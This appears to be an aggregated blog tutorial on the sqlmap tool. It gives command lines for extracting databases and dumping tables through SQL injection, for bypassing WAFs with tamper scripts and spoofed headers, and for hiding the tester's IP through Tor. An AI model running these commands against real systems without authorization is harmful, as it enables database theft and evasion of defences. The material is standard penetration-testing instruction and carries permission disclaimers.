Use SQL-Map at its best.

3 days ago 17
BOOK THIS SPACE FOR AD
ARTICLE AD

Rishav anand

Understand the Target:Identify the URL or parameter you suspect is vulnerable to SQL injection.Ensure you have permission to test the target.Install SQLmap:Install it using Python: pip install sqlmap or download it from sqlmap.org.Gather Necessary Information:Know the database type (MySQL, MSSQL, PostgreSQL, etc.) and its behavior.

Run the following command in your terminal:

sqlmap -u "http://example.com/page?param=value"Replace http://example.com/page?param=value with your target URL.
Identify Database Type and Version:sqlmap -u "http://example.com/page?param=value" --bannerCheck for Database Vulnerabilities:sqlmap -u "http://example.com/page?param=value" --dbsThis will list all databases available on the target system.Dump Database Tables:sqlmap -u "http://example.com/page?param=value" -D database_name --tablesDump Specific Table Data:sqlmap -u "http://example.com/page?param=value" -D database_name -T table_name --dump
Specify Parameters:Use --level and --risk options to adjust the intensity:sqlmap -u "http://example.com/page?param=value" --level=5 --risk=3Test Specific HTTP Methods:sqlmap -u "http://example.com/page?param=value" --method=POSTBypass WAF/Filters:Use tamper scripts:sqlmap -u "http://example.com/page?param=value" --tamper=charencode
Save Results to a File:sqlmap -u "http://example.com/page?param=value" --batch --output-dir=results/Automate with Batch Mode:sqlmap -u "http://example.com/page?param=value" --batch
Always obtain explicit permission before testing a website.Use SQLmap responsibly for penetration testing or learning, not for malicious purposes.

SQLmap includes tamper scripts that modify payloads to evade detection by WAFs.

List Available Tamper Scripts:sqlmap --list-tampersCommon Tamper Scripts:space2comment: Replaces spaces with comments (/**/).charencode: Encodes payloads as hexadecimal or Unicode.base64encode: Encodes payloads in Base64 format.randomcase: Randomizes the case of characters in the payload.Example Usage:sqlmap -u "http://example.com/page?param=value" --tamper=space2comment,charencode

Encoding can help bypass basic filtering mechanisms.

URL Encoding:sqlmap -u "http://example.com/page?param=value" --tamper=percentencodeHexadecimal Encoding:sqlmap -u "http://example.com/page?param=value" --tamper=charencode

Some WAFs flag requests based on headers or User-Agent strings.

Set Custom User-Agent:sqlmap -u "http://example.com/page?param=value" --user-agent="Mozilla/5.0"Add/Modify Headers:sqlmap -u "http://example.com/page?param=value" --headers="X-Forwarded-For: 127.0.0.1"

If GET parameters are blocked or heavily filtered, switch to testing POST parameters.

POST Method Example:sqlmap -u "http://example.com/page" --data="param=value" --method=POST

Avoid detection by WAFs that monitor repeated patterns or high request rates.

Randomize Order of Parameters:sqlmap -u "http://example.com/page?param=value" --randomize=paramAdd Delays Between Requests:sqlmap -u "http://example.com/page?param=value" --delay=5
Route your requests through a proxy to hide your IP or test the effect of different IP ranges.sqlmap -u "http://example.com/page?param=value" --proxy=http://127.0.0.1:8080Use Tor for anonymity:sqlmap -u "http://example.com/page?param=value" --tor --tor-type=SOCKS5 --check-tor

Some WAFs allow specific payload patterns to pass through.

Inject Null Bytes:sqlmap -u "http://example.com/page?param=value" --tamper=nullbyteAdd Whitespace Variations:sqlmap -u "http://example.com/page?param=value" --tamper=space2hash

Identify the WAF to tailor your approach:

Use a WAF fingerprinting tool like WAFW00F:wafw00f http://example.com

Once the WAF is identified, research specific bypass techniques for that WAF.

Some WAFs fail to block error-based SQL injection techniques effectively.

Force Error Messages:sqlmap -u "http://example.com/page?param=value" --technique=E

If the WAF blocks error messages, try time-based blind SQL injection.

Time-Based Injection:sqlmap -u "http://example.com/page?param=value" --technique=TCombine with tamper scripts:sqlmap -u "http://example.com/page?param=value" --technique=T --tamper=space2comment
Partial Tests: Test specific characters or smaller queries:sqlmap -u "http://example.com/page?param=1'" --batchBoolean-Based Techniques:sqlmap -u "http://example.com/page?param=1" --technique=B
Discover Database Schema:sqlmap -u "http://example.com/page?param=value" --dbsExtract Specific Data:sqlmap -u "http://example.com/page?param=value" -D database_name -T table_name --dump

Combine techniques for better results:

sqlmap -u "http://example.com/page?param=value" --technique=BEUSTQ --tamper=space2comment,randomcase --delay=5
Always obtain explicit permission before testing any website.SQLmap is a tool for penetration testing and learning, not malicious activities.
Start with lower risk levels and increase gradually.Use tamper scripts to bypass WAFs if detection mechanisms are in place.Combine manual analysis with SQLmap outputs to verify findings.Regularly update SQLmap to ensure compatibility with the latest security measures.
Read Entire Article